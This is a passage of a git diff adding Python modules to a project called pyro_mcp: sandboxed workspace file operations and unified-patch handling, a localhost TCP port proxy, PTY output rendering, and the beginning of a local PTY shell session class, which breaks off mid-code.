for raw_line in output.splitlines():
|
||||
line = raw_line.strip()
|
||||
if line == "":
|
||||
continue
|
||||
match = _DEBUGFS_LS_RE.match(line)
|
||||
if match is None:
|
||||
continue
|
||||
name = match.group("name")
|
||||
if name in {".", ".."}:
|
||||
continue
|
||||
child_path = str(base / name) if str(base) != "/" else f"/{name}"
|
||||
entries.append(
|
||||
_DebugfsDirEntry(
|
||||
name=name,
|
||||
path=child_path,
|
||||
artifact_type=_artifact_type_from_mode(match.group("mode")),
|
||||
size_bytes=int(match.group("size") or "0"),
|
||||
)
|
||||
)
|
||||
return entries
|
||||
|
||||
|
||||
def _debugfs_remove_tree(rootfs_image: Path, guest_path: str) -> None:
|
||||
stat_result = _debugfs_stat(rootfs_image, guest_path)
|
||||
if stat_result is None:
|
||||
return
|
||||
if stat_result.artifact_type == "directory":
|
||||
for child in _debugfs_ls_entries(rootfs_image, guest_path):
|
||||
_debugfs_remove_tree(rootfs_image, child.path)
|
||||
_run_debugfs(rootfs_image, f"rmdir {guest_path}", writable=True)
|
||||
return
|
||||
_run_debugfs(rootfs_image, f"rm {guest_path}", writable=True)
|
||||
456
src/pyro_mcp/workspace_files.py
Normal file
456
src/pyro_mcp/workspace_files.py
Normal file
|
|
@ -0,0 +1,456 @@
|
|||
"""Live workspace file operations and unified text patch helpers."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path, PurePosixPath
|
||||
from typing import Literal
|
||||
|
||||
WORKSPACE_ROOT = PurePosixPath("/workspace")
|
||||
DEFAULT_WORKSPACE_FILE_READ_MAX_BYTES = 65536
|
||||
WORKSPACE_FILE_MAX_BYTES = 1024 * 1024
|
||||
WORKSPACE_PATCH_MAX_BYTES = 1024 * 1024
|
||||
|
||||
WorkspaceFileArtifactType = Literal["file", "directory", "symlink"]
|
||||
WorkspacePatchStatus = Literal["added", "modified", "deleted"]
|
||||
|
||||
_PATCH_HUNK_RE = re.compile(
|
||||
r"^@@ -(?P<old_start>\d+)(?:,(?P<old_count>\d+))? "
|
||||
r"\+(?P<new_start>\d+)(?:,(?P<new_count>\d+))? @@"
|
||||
)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceFileEntry:
|
||||
path: str
|
||||
artifact_type: WorkspaceFileArtifactType
|
||||
size_bytes: int
|
||||
link_target: str | None = None
|
||||
|
||||
def to_payload(self) -> dict[str, str | int | None]:
|
||||
return {
|
||||
"path": self.path,
|
||||
"artifact_type": self.artifact_type,
|
||||
"size_bytes": self.size_bytes,
|
||||
"link_target": self.link_target,
|
||||
}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspacePathListing:
|
||||
path: str
|
||||
artifact_type: WorkspaceFileArtifactType
|
||||
entries: list[WorkspaceFileEntry]
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceFileReadResult:
|
||||
path: str
|
||||
size_bytes: int
|
||||
content_bytes: bytes
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceFileWriteResult:
|
||||
path: str
|
||||
size_bytes: int
|
||||
bytes_written: int
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceFileDeleteResult:
|
||||
path: str
|
||||
deleted: bool
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspacePatchHunk:
|
||||
old_start: int
|
||||
old_count: int
|
||||
new_start: int
|
||||
new_count: int
|
||||
lines: list[str]
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class WorkspaceTextPatch:
|
||||
path: str
|
||||
status: WorkspacePatchStatus
|
||||
hunks: list[WorkspacePatchHunk]
|
||||
|
||||
|
||||
def list_workspace_files(
|
||||
workspace_dir: Path,
|
||||
*,
|
||||
workspace_path: str,
|
||||
recursive: bool,
|
||||
) -> WorkspacePathListing:
|
||||
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||
entry = _entry_for_host_path(normalized_path, host_path)
|
||||
if entry.artifact_type != "directory":
|
||||
return WorkspacePathListing(
|
||||
path=entry.path,
|
||||
artifact_type=entry.artifact_type,
|
||||
entries=[entry],
|
||||
)
|
||||
|
||||
entries: list[WorkspaceFileEntry] = []
|
||||
|
||||
def walk(current_path: str, current_host_path: Path) -> None:
|
||||
children: list[WorkspaceFileEntry] = []
|
||||
with os.scandir(current_host_path) as iterator:
|
||||
for child in iterator:
|
||||
child_entry = _entry_for_host_path(
|
||||
_join_workspace_path(current_path, child.name),
|
||||
Path(child.path),
|
||||
)
|
||||
children.append(child_entry)
|
||||
children.sort(key=lambda item: item.path)
|
||||
for child_entry in children:
|
||||
entries.append(child_entry)
|
||||
if recursive and child_entry.artifact_type == "directory":
|
||||
walk(child_entry.path, workspace_host_path(workspace_dir, child_entry.path))
|
||||
|
||||
walk(normalized_path, host_path)
|
||||
return WorkspacePathListing(path=normalized_path, artifact_type="directory", entries=entries)
|
||||
|
||||
|
||||
def read_workspace_file(
|
||||
workspace_dir: Path,
|
||||
*,
|
||||
workspace_path: str,
|
||||
max_bytes: int = WORKSPACE_FILE_MAX_BYTES,
|
||||
) -> WorkspaceFileReadResult:
|
||||
_validate_max_bytes(max_bytes)
|
||||
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||
entry = _entry_for_host_path(normalized_path, host_path)
|
||||
if entry.artifact_type != "file":
|
||||
raise RuntimeError("workspace file read only supports regular files")
|
||||
raw_bytes = host_path.read_bytes()
|
||||
if len(raw_bytes) > max_bytes:
|
||||
raise RuntimeError(
|
||||
f"workspace file exceeds the maximum supported size of {max_bytes} bytes"
|
||||
)
|
||||
return WorkspaceFileReadResult(
|
||||
path=normalized_path,
|
||||
size_bytes=len(raw_bytes),
|
||||
content_bytes=raw_bytes,
|
||||
)
|
||||
|
||||
|
||||
def write_workspace_file(
|
||||
workspace_dir: Path,
|
||||
*,
|
||||
workspace_path: str,
|
||||
text: str,
|
||||
) -> WorkspaceFileWriteResult:
|
||||
encoded = text.encode("utf-8")
|
||||
if len(encoded) > WORKSPACE_FILE_MAX_BYTES:
|
||||
raise ValueError(
|
||||
f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8"
|
||||
)
|
||||
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||
_ensure_no_symlink_parents(workspace_dir, host_path, normalized_path)
|
||||
if host_path.exists() or host_path.is_symlink():
|
||||
entry = _entry_for_host_path(normalized_path, host_path)
|
||||
if entry.artifact_type != "file":
|
||||
raise RuntimeError("workspace file write only supports regular file targets")
|
||||
host_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.NamedTemporaryFile(
|
||||
prefix=".pyro-workspace-write-",
|
||||
dir=host_path.parent,
|
||||
delete=False,
|
||||
) as handle:
|
||||
temp_path = Path(handle.name)
|
||||
handle.write(encoded)
|
||||
os.replace(temp_path, host_path)
|
||||
return WorkspaceFileWriteResult(
|
||||
path=normalized_path,
|
||||
size_bytes=len(encoded),
|
||||
bytes_written=len(encoded),
|
||||
)
|
||||
|
||||
|
||||
def delete_workspace_path(
|
||||
workspace_dir: Path,
|
||||
*,
|
||||
workspace_path: str,
|
||||
) -> WorkspaceFileDeleteResult:
|
||||
normalized_path, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||
entry = _entry_for_host_path(normalized_path, host_path)
|
||||
if entry.artifact_type == "directory":
|
||||
raise RuntimeError("workspace file delete does not support directories")
|
||||
host_path.unlink(missing_ok=False)
|
||||
return WorkspaceFileDeleteResult(path=normalized_path, deleted=True)
|
||||
|
||||
|
||||
def parse_unified_text_patch(patch_text: str) -> list[WorkspaceTextPatch]:
|
||||
encoded = patch_text.encode("utf-8")
|
||||
if len(encoded) > WORKSPACE_PATCH_MAX_BYTES:
|
||||
raise ValueError(
|
||||
f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8"
|
||||
)
|
||||
if patch_text.strip() == "":
|
||||
raise ValueError("patch must not be empty")
|
||||
|
||||
lines = patch_text.splitlines(keepends=True)
|
||||
patches: list[WorkspaceTextPatch] = []
|
||||
index = 0
|
||||
|
||||
while index < len(lines):
|
||||
line = lines[index]
|
||||
if line.startswith("diff --git "):
|
||||
index += 1
|
||||
continue
|
||||
if line.startswith("index "):
|
||||
index += 1
|
||||
continue
|
||||
if _is_unsupported_patch_prelude(line):
|
||||
raise ValueError(f"unsupported patch feature: {line.rstrip()}")
|
||||
if not line.startswith("--- "):
|
||||
if line.strip() == "":
|
||||
index += 1
|
||||
continue
|
||||
raise ValueError(f"invalid patch header: {line.rstrip()}")
|
||||
old_path = _parse_patch_label(line[4:].rstrip("\n"))
|
||||
index += 1
|
||||
if index >= len(lines) or not lines[index].startswith("+++ "):
|
||||
raise ValueError("patch is missing '+++' header")
|
||||
new_path = _parse_patch_label(lines[index][4:].rstrip("\n"))
|
||||
index += 1
|
||||
if old_path is not None and new_path is not None and old_path != new_path:
|
||||
raise ValueError("rename and copy patches are not supported")
|
||||
patch_path = new_path or old_path
|
||||
if patch_path is None:
|
||||
raise ValueError("patch must target a workspace path")
|
||||
if old_path is None:
|
||||
status: WorkspacePatchStatus = "added"
|
||||
elif new_path is None:
|
||||
status = "deleted"
|
||||
else:
|
||||
status = "modified"
|
||||
|
||||
hunks: list[WorkspacePatchHunk] = []
|
||||
while index < len(lines):
|
||||
line = lines[index]
|
||||
if line.startswith("diff --git ") or line.startswith("--- "):
|
||||
break
|
||||
if line.startswith("index "):
|
||||
index += 1
|
||||
continue
|
||||
if _is_unsupported_patch_prelude(line):
|
||||
raise ValueError(f"unsupported patch feature: {line.rstrip()}")
|
||||
header_match = _PATCH_HUNK_RE.match(line.rstrip("\n"))
|
||||
if header_match is None:
|
||||
raise ValueError(f"invalid patch hunk header: {line.rstrip()}")
|
||||
old_count = int(header_match.group("old_count") or "1")
|
||||
new_count = int(header_match.group("new_count") or "1")
|
||||
hunk_lines: list[str] = []
|
||||
index += 1
|
||||
while index < len(lines):
|
||||
hunk_line = lines[index]
|
||||
if hunk_line.startswith(("diff --git ", "--- ", "@@ ")):
|
||||
break
|
||||
if hunk_line.startswith("@@"):
|
||||
break
|
||||
if hunk_line.startswith("\\ No newline at end of file"):
|
||||
index += 1
|
||||
continue
|
||||
if not hunk_line.startswith((" ", "+", "-")):
|
||||
raise ValueError(f"invalid patch hunk line: {hunk_line.rstrip()}")
|
||||
hunk_lines.append(hunk_line)
|
||||
index += 1
|
||||
_validate_hunk_counts(old_count, new_count, hunk_lines)
|
||||
hunks.append(
|
||||
WorkspacePatchHunk(
|
||||
old_start=int(header_match.group("old_start")),
|
||||
old_count=old_count,
|
||||
new_start=int(header_match.group("new_start")),
|
||||
new_count=new_count,
|
||||
lines=hunk_lines,
|
||||
)
|
||||
)
|
||||
if not hunks:
|
||||
raise ValueError(f"patch for {patch_path} has no hunks")
|
||||
patches.append(WorkspaceTextPatch(path=patch_path, status=status, hunks=hunks))
|
||||
|
||||
if not patches:
|
||||
raise ValueError("patch must contain at least one file change")
|
||||
return patches
|
||||
|
||||
|
||||
def apply_unified_text_patch(
|
||||
*,
|
||||
path: str,
|
||||
patch: WorkspaceTextPatch,
|
||||
before_text: str | None,
|
||||
) -> str | None:
|
||||
before_lines = [] if before_text is None else before_text.splitlines(keepends=True)
|
||||
output_lines: list[str] = []
|
||||
cursor = 0
|
||||
for hunk in patch.hunks:
|
||||
start_index = 0 if hunk.old_start == 0 else hunk.old_start - 1
|
||||
if start_index < cursor or start_index > len(before_lines):
|
||||
raise RuntimeError(f"patch hunk is out of range for {path}")
|
||||
output_lines.extend(before_lines[cursor:start_index])
|
||||
local_index = start_index
|
||||
for hunk_line in hunk.lines:
|
||||
prefix = hunk_line[:1]
|
||||
payload = hunk_line[1:]
|
||||
if prefix in {" ", "-"}:
|
||||
if local_index >= len(before_lines):
|
||||
raise RuntimeError(f"patch context does not match for {path}")
|
||||
if before_lines[local_index] != payload:
|
||||
raise RuntimeError(f"patch context does not match for {path}")
|
||||
if prefix == " ":
|
||||
output_lines.append(payload)
|
||||
local_index += 1
|
||||
continue
|
||||
if prefix == "+":
|
||||
output_lines.append(payload)
|
||||
continue
|
||||
raise RuntimeError(f"invalid patch line prefix for {path}")
|
||||
cursor = local_index
|
||||
output_lines.extend(before_lines[cursor:])
|
||||
after_text = "".join(output_lines)
|
||||
if patch.status == "deleted":
|
||||
if after_text != "":
|
||||
raise RuntimeError(f"delete patch did not remove all content for {path}")
|
||||
return None
|
||||
encoded = after_text.encode("utf-8")
|
||||
if len(encoded) > WORKSPACE_FILE_MAX_BYTES:
|
||||
raise RuntimeError(
|
||||
f"patched file {path} exceeds the maximum supported size of "
|
||||
f"{WORKSPACE_FILE_MAX_BYTES} bytes"
|
||||
)
|
||||
return after_text
|
||||
|
||||
|
||||
def workspace_host_path(workspace_dir: Path, workspace_path: str) -> Path:
|
||||
_, host_path = _workspace_host_path(workspace_dir, workspace_path)
|
||||
return host_path
|
||||
|
||||
|
||||
def _workspace_host_path(workspace_dir: Path, workspace_path: str) -> tuple[str, Path]:
|
||||
normalized = normalize_workspace_path(workspace_path)
|
||||
suffix = PurePosixPath(normalized).relative_to(WORKSPACE_ROOT)
|
||||
host_path = workspace_dir if str(suffix) in {"", "."} else workspace_dir.joinpath(*suffix.parts)
|
||||
return normalized, host_path
|
||||
|
||||
|
||||
def normalize_workspace_path(path: str) -> str:
|
||||
candidate = path.strip()
|
||||
if candidate == "":
|
||||
raise ValueError("workspace path must not be empty")
|
||||
raw_path = PurePosixPath(candidate)
|
||||
if any(part == ".." for part in raw_path.parts):
|
||||
raise ValueError("workspace path must stay inside /workspace")
|
||||
if not raw_path.is_absolute():
|
||||
raw_path = WORKSPACE_ROOT / raw_path
|
||||
parts = [part for part in raw_path.parts if part not in {"", "."}]
|
||||
normalized = PurePosixPath("/") / PurePosixPath(*parts)
|
||||
if normalized == PurePosixPath("/"):
|
||||
raise ValueError("workspace path must stay inside /workspace")
|
||||
if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts:
|
||||
raise ValueError("workspace path must stay inside /workspace")
|
||||
return str(normalized)
|
||||
|
||||
|
||||
def _entry_for_host_path(guest_path: str, host_path: Path) -> WorkspaceFileEntry:
|
||||
try:
|
||||
stat_result = os.lstat(host_path)
|
||||
except FileNotFoundError as exc:
|
||||
raise RuntimeError(f"workspace path does not exist: {guest_path}") from exc
|
||||
if os.path.islink(host_path):
|
||||
return WorkspaceFileEntry(
|
||||
path=guest_path,
|
||||
artifact_type="symlink",
|
||||
size_bytes=stat_result.st_size,
|
||||
link_target=os.readlink(host_path),
|
||||
)
|
||||
if host_path.is_dir():
|
||||
return WorkspaceFileEntry(
|
||||
path=guest_path,
|
||||
artifact_type="directory",
|
||||
size_bytes=0,
|
||||
link_target=None,
|
||||
)
|
||||
if host_path.is_file():
|
||||
return WorkspaceFileEntry(
|
||||
path=guest_path,
|
||||
artifact_type="file",
|
||||
size_bytes=stat_result.st_size,
|
||||
link_target=None,
|
||||
)
|
||||
raise RuntimeError(f"unsupported workspace path type: {guest_path}")
|
||||
|
||||
|
||||
def _join_workspace_path(base: str, child_name: str) -> str:
|
||||
base_path = PurePosixPath(base)
|
||||
return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}"
|
||||
|
||||
|
||||
def _ensure_no_symlink_parents(workspace_dir: Path, target_path: Path, guest_path: str) -> None:
|
||||
relative_path = target_path.relative_to(workspace_dir)
|
||||
current = workspace_dir
|
||||
for part in relative_path.parts[:-1]:
|
||||
current = current / part
|
||||
if current.is_symlink():
|
||||
raise RuntimeError(
|
||||
f"workspace path would traverse through a symlinked parent: {guest_path}"
|
||||
)
|
||||
|
||||
|
||||
def _validate_max_bytes(max_bytes: int) -> None:
|
||||
if max_bytes <= 0:
|
||||
raise ValueError("max_bytes must be positive")
|
||||
if max_bytes > WORKSPACE_FILE_MAX_BYTES:
|
||||
raise ValueError(
|
||||
f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes"
|
||||
)
|
||||
|
||||
|
||||
def _is_unsupported_patch_prelude(line: str) -> bool:
|
||||
return line.startswith(
|
||||
(
|
||||
"old mode ",
|
||||
"new mode ",
|
||||
"deleted file mode ",
|
||||
"new file mode ",
|
||||
"rename from ",
|
||||
"rename to ",
|
||||
"copy from ",
|
||||
"copy to ",
|
||||
"similarity index ",
|
||||
"dissimilarity index ",
|
||||
"GIT binary patch",
|
||||
"Binary files ",
|
||||
)
|
||||
)
|
||||
|
||||
|
||||
def _parse_patch_label(label: str) -> str | None:
|
||||
raw = label.split("\t", 1)[0].strip()
|
||||
if raw == "/dev/null":
|
||||
return None
|
||||
if raw.startswith(("a/", "b/")):
|
||||
raw = raw[2:]
|
||||
if raw.startswith("/workspace/"):
|
||||
return normalize_workspace_path(raw)
|
||||
return normalize_workspace_path(raw)
|
||||
|
||||
|
||||
def _validate_hunk_counts(old_count: int, new_count: int, hunk_lines: list[str]) -> None:
|
||||
old_seen = 0
|
||||
new_seen = 0
|
||||
for hunk_line in hunk_lines:
|
||||
prefix = hunk_line[:1]
|
||||
if prefix in {" ", "-"}:
|
||||
old_seen += 1
|
||||
if prefix in {" ", "+"}:
|
||||
new_seen += 1
|
||||
if old_seen != old_count or new_seen != new_count:
|
||||
raise ValueError("patch hunk line counts do not match the header")
|
||||
116
src/pyro_mcp/workspace_ports.py
Normal file
116
src/pyro_mcp/workspace_ports.py
Normal file
|
|
@ -0,0 +1,116 @@
|
|||
"""Localhost-only TCP port proxy for published workspace services."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import selectors
|
||||
import signal
|
||||
import socket
|
||||
import socketserver
|
||||
import sys
|
||||
import threading
|
||||
from pathlib import Path
|
||||
|
||||
DEFAULT_PUBLISHED_PORT_HOST = "127.0.0.1"
|
||||
|
||||
|
||||
class _ProxyServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
|
||||
allow_reuse_address = False
|
||||
daemon_threads = True
|
||||
|
||||
def __init__(self, server_address: tuple[str, int], target_address: tuple[str, int]) -> None:
|
||||
super().__init__(server_address, _ProxyHandler)
|
||||
self.target_address = target_address
|
||||
|
||||
|
||||
class _ProxyHandler(socketserver.BaseRequestHandler):
|
||||
def handle(self) -> None:
|
||||
server = self.server
|
||||
if not isinstance(server, _ProxyServer):
|
||||
raise RuntimeError("proxy server is invalid")
|
||||
try:
|
||||
upstream = socket.create_connection(server.target_address, timeout=5)
|
||||
except OSError:
|
||||
return
|
||||
with upstream:
|
||||
self.request.setblocking(False)
|
||||
upstream.setblocking(False)
|
||||
selector = selectors.DefaultSelector()
|
||||
try:
|
||||
selector.register(self.request, selectors.EVENT_READ, upstream)
|
||||
selector.register(upstream, selectors.EVENT_READ, self.request)
|
||||
while True:
|
||||
events = selector.select()
|
||||
if not events:
|
||||
continue
|
||||
for key, _ in events:
|
||||
source = key.fileobj
|
||||
target = key.data
|
||||
if not isinstance(source, socket.socket) or not isinstance(
|
||||
target, socket.socket
|
||||
):
|
||||
continue
|
||||
try:
|
||||
chunk = source.recv(65536)
|
||||
except OSError:
|
||||
return
|
||||
if not chunk:
|
||||
return
|
||||
try:
|
||||
target.sendall(chunk)
|
||||
except OSError:
|
||||
return
|
||||
finally:
|
||||
selector.close()
|
||||
|
||||
|
||||
def _build_parser() -> argparse.ArgumentParser:
|
||||
parser = argparse.ArgumentParser(description="Run a localhost-only TCP port proxy.")
|
||||
parser.add_argument("--listen-host", required=True)
|
||||
parser.add_argument("--listen-port", type=int, required=True)
|
||||
parser.add_argument("--target-host", required=True)
|
||||
parser.add_argument("--target-port", type=int, required=True)
|
||||
parser.add_argument("--ready-file", required=True)
|
||||
return parser
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
args = _build_parser().parse_args(argv)
|
||||
ready_file = Path(args.ready_file)
|
||||
ready_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
server = _ProxyServer(
|
||||
(str(args.listen_host), int(args.listen_port)),
|
||||
(str(args.target_host), int(args.target_port)),
|
||||
)
|
||||
actual_host = str(server.server_address[0])
|
||||
actual_port = int(server.server_address[1])
|
||||
ready_file.write_text(
|
||||
json.dumps(
|
||||
{
|
||||
"host": actual_host,
|
||||
"host_port": actual_port,
|
||||
"target_host": args.target_host,
|
||||
"target_port": int(args.target_port),
|
||||
"protocol": "tcp",
|
||||
},
|
||||
indent=2,
|
||||
sort_keys=True,
|
||||
),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
def _shutdown(_: int, __: object) -> None:
|
||||
threading.Thread(target=server.shutdown, daemon=True).start()
|
||||
|
||||
signal.signal(signal.SIGTERM, _shutdown)
|
||||
signal.signal(signal.SIGINT, _shutdown)
|
||||
try:
|
||||
server.serve_forever(poll_interval=0.2)
|
||||
finally:
|
||||
server.server_close()
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main(sys.argv[1:]))
|
||||
116
src/pyro_mcp/workspace_shell_output.py
Normal file
116
src/pyro_mcp/workspace_shell_output.py
Normal file
|
|
@ -0,0 +1,116 @@
|
|||
"""Helpers for chat-friendly workspace shell output rendering."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
|
||||
def _apply_csi(
|
||||
final: str,
|
||||
parameters: str,
|
||||
line: list[str],
|
||||
cursor: int,
|
||||
lines: list[str],
|
||||
) -> tuple[list[str], int, list[str]]:
|
||||
if final == "K":
|
||||
mode = parameters or "0"
|
||||
if mode in {"0", ""}:
|
||||
del line[cursor:]
|
||||
elif mode == "1":
|
||||
for index in range(min(cursor, len(line))):
|
||||
line[index] = " "
|
||||
elif mode == "2":
|
||||
line.clear()
|
||||
cursor = 0
|
||||
elif final == "J":
|
||||
mode = parameters or "0"
|
||||
if mode in {"2", "3"}:
|
||||
lines.clear()
|
||||
line.clear()
|
||||
cursor = 0
|
||||
return line, cursor, lines
|
||||
|
||||
|
||||
def _consume_escape_sequence(
|
||||
text: str,
|
||||
index: int,
|
||||
line: list[str],
|
||||
cursor: int,
|
||||
lines: list[str],
|
||||
) -> tuple[int, list[str], int, list[str]]:
|
||||
if index + 1 >= len(text):
|
||||
return len(text), line, cursor, lines
|
||||
leader = text[index + 1]
|
||||
if leader == "[":
|
||||
cursor_index = index + 2
|
||||
while cursor_index < len(text):
|
||||
char = text[cursor_index]
|
||||
if "\x40" <= char <= "\x7e":
|
||||
parameters = text[index + 2 : cursor_index]
|
||||
line, cursor, lines = _apply_csi(char, parameters, line, cursor, lines)
|
||||
return cursor_index + 1, line, cursor, lines
|
||||
cursor_index += 1
|
||||
return len(text), line, cursor, lines
|
||||
if leader in {"]", "P", "_", "^"}:
|
||||
cursor_index = index + 2
|
||||
while cursor_index < len(text):
|
||||
char = text[cursor_index]
|
||||
if char == "\x07":
|
||||
return cursor_index + 1, line, cursor, lines
|
||||
if char == "\x1b" and cursor_index + 1 < len(text) and text[cursor_index + 1] == "\\":
|
||||
return cursor_index + 2, line, cursor, lines
|
||||
cursor_index += 1
|
||||
return len(text), line, cursor, lines
|
||||
if leader == "O":
|
||||
return min(index + 3, len(text)), line, cursor, lines
|
||||
return min(index + 2, len(text)), line, cursor, lines
|
||||
|
||||
|
||||
def render_plain_shell_output(raw_text: str) -> str:
|
||||
"""Render PTY output into chat-friendly plain text."""
|
||||
lines: list[str] = []
|
||||
line: list[str] = []
|
||||
cursor = 0
|
||||
ended_with_newline = False
|
||||
index = 0
|
||||
while index < len(raw_text):
|
||||
char = raw_text[index]
|
||||
if char == "\x1b":
|
||||
index, line, cursor, lines = _consume_escape_sequence(
|
||||
raw_text,
|
||||
index,
|
||||
line,
|
||||
cursor,
|
||||
lines,
|
||||
)
|
||||
ended_with_newline = False
|
||||
continue
|
||||
if char == "\r":
|
||||
cursor = 0
|
||||
ended_with_newline = False
|
||||
index += 1
|
||||
continue
|
||||
if char == "\n":
|
||||
lines.append("".join(line))
|
||||
line = []
|
||||
cursor = 0
|
||||
ended_with_newline = True
|
||||
index += 1
|
||||
continue
|
||||
if char == "\b":
|
||||
if cursor > 0:
|
||||
cursor -= 1
|
||||
if cursor < len(line):
|
||||
del line[cursor]
|
||||
ended_with_newline = False
|
||||
index += 1
|
||||
continue
|
||||
if char == "\t" or (ord(char) >= 32 and ord(char) != 127):
|
||||
if cursor < len(line):
|
||||
line[cursor] = char
|
||||
else:
|
||||
line.append(char)
|
||||
cursor += 1
|
||||
ended_with_newline = False
|
||||
index += 1
|
||||
if line or ended_with_newline:
|
||||
lines.append("".join(line))
|
||||
return "\n".join(lines)
|
||||
360
src/pyro_mcp/workspace_shells.py
Normal file
360
src/pyro_mcp/workspace_shells.py
Normal file
|
|
@ -0,0 +1,360 @@
|
|||
"""Local PTY-backed shell sessions for the mock workspace backend."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import codecs
|
||||
import fcntl
|
||||
import os
|
||||
import shlex
|
||||
import shutil
|
||||
import signal
|
||||
import struct
|
||||
import subprocess
|
||||
import termios
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import IO, Literal
|
||||
|
||||
ShellState = Literal["running", "stopped"]
|
||||
|
||||
SHELL_SIGNAL_NAMES = ("HUP", "INT", "TERM", "KILL")
|
||||
_SHELL_SIGNAL_MAP = {
|
||||
"HUP": signal.SIGHUP,
|
||||
"INT": signal.SIGINT,
|
||||
"TERM": signal.SIGTERM,
|
||||
"KILL": signal.SIGKILL,
|
||||
}
|
||||
|
||||
_LOCAL_SHELLS: dict[str, "LocalShellSession"] = {}
|
||||
_LOCAL_SHELLS_LOCK = threading.Lock()
|
||||
|
||||
|
||||
def _shell_argv(*, interactive: bool) -> list[str]:
|
||||
shell_program = shutil.which("bash") or "/bin/sh"
|
||||
argv = [shell_program]
|
||||
if shell_program.endswith("bash"):
|
||||
argv.extend(["--noprofile", "--norc"])
|
||||
if interactive:
|
||||
argv.append("-i")
|
||||
return argv
|
||||
|
||||
|
||||
def _redact_text(text: str, redact_values: list[str]) -> str:
|
||||
redacted = text
|
||||
for secret_value in sorted(
|
||||
{item for item in redact_values if item != ""},
|
||||
key=len,
|
||||
reverse=True,
|
||||
):
|
||||
redacted = redacted.replace(secret_value, "[REDACTED]")
|
||||
return redacted
|
||||
|
||||
|
||||
def _set_pty_size(fd: int, rows: int, cols: int) -> None:
|
||||
winsize = struct.pack("HHHH", rows, cols, 0, 0)
|
||||
fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize)
|
||||
|
||||
|
||||
class LocalShellSession:
|
||||
"""Host-local interactive shell used by the mock backend."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
shell_id: str,
|
||||
cwd: Path,
|
||||
display_cwd: str,
|
||||
cols: int,
|
||||
rows: int,
|
||||
env_overrides: dict[str, str] | None = None,
|
||||
redact_values: list[str] | None = None,
|
||||
) -> None:
|
||||
self.shell_id = shell_id
|
||||
self.cwd = display_cwd
|
||||
self.cols = cols
|
||||
self.rows = rows
|
||||
self.started_at = time.time()
|
||||
self.ended_at: float | None = None
|
||||
self.exit_code: int | None = None
|
||||
self.state: ShellState = "running"
|
||||
self.pid: int | None = None
|
||||
self._lock = threading.RLock()
|
||||
self._output = ""
|
||||
self._master_fd: int | None = None
|
||||
self._input_pipe: IO[bytes] | None = None
|
||||
self._output_pipe: IO[bytes] | None = None
|
||||
self._reader: threading.Thread | None = None
|
||||
self._waiter: threading.Thread | None = None
|
||||
self._decoder = codecs.getincrementaldecoder("utf-8")("replace")
|
||||
self._redact_values = list(redact_values or [])
|
||||
env = os.environ.copy()
|
||||
env.update(
|
||||
{
|
||||
"TERM": env.get("TERM", "xterm-256color"),
|
||||
"PS1": "pyro$ ",
|
||||
"PROMPT_COMMAND": "",
|
||||
}
|
||||
)
|
||||
if env_overrides is not None:
|
||||
env.update(env_overrides)
|
||||
|
||||
process: subprocess.Popen[bytes]
|
||||
try:
|
||||
master_fd, slave_fd = os.openpty()
|
||||
except OSError:
|
||||
process = subprocess.Popen( # noqa: S603
|
||||
_shell_argv(interactive=False),
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
cwd=str(cwd),
|
||||
env=env,
|
||||
text=False,
|
||||
close_fds=True,
|
||||
preexec_fn=os.setsid,
|
||||
)
|
||||
self._input_pipe = process.stdin
|
||||
self._output_pipe = process.stdout
|
||||
else:
|
||||
try:
|
||||
_set_pty_size(slave_fd, rows, cols)
|
||||
process = subprocess.Popen( # noqa: S603
|
||||
_shell_argv(interactive=True),
|
||||
stdin=slave_fd,
|
||||
stdout=slave_fd,
|
||||
stderr=slave_fd,
|
||||
cwd=str(cwd),
|
||||
env=env,
|
||||
text=False,
|
||||
close_fds=True,
|
||||
preexec_fn=os.setsid,
|
||||
)
|
||||
except Exception:
|
||||
os.close(master_fd)
|
||||
raise
|
||||
finally:
|
||||
os.close(slave_fd)
|
||||
self._master_fd = master_fd
|
||||
|
||||
self._process = process
|
||||
self.pid = process.pid
|
||||
self._reader = threading.Thread(target=self._reader_loop, daemon=True)
|
||||
self._waiter = threading.Thread(target=self._waiter_loop, daemon=True)
|
||||
self._reader.start()
|
||||
self._waiter.start()
|
||||
|
||||
def summary(self) -> dict[str, object]:
|
||||
with self._lock:
|
||||
return {
|
||||
"shell_id": self.shell_id,
|
||||
"cwd": self.cwd,
|
||||
"cols": self.cols,
|
||||
"rows": self.rows,
|
||||
"state": self.state,
|
||||
"started_at": self.started_at,
|
||||
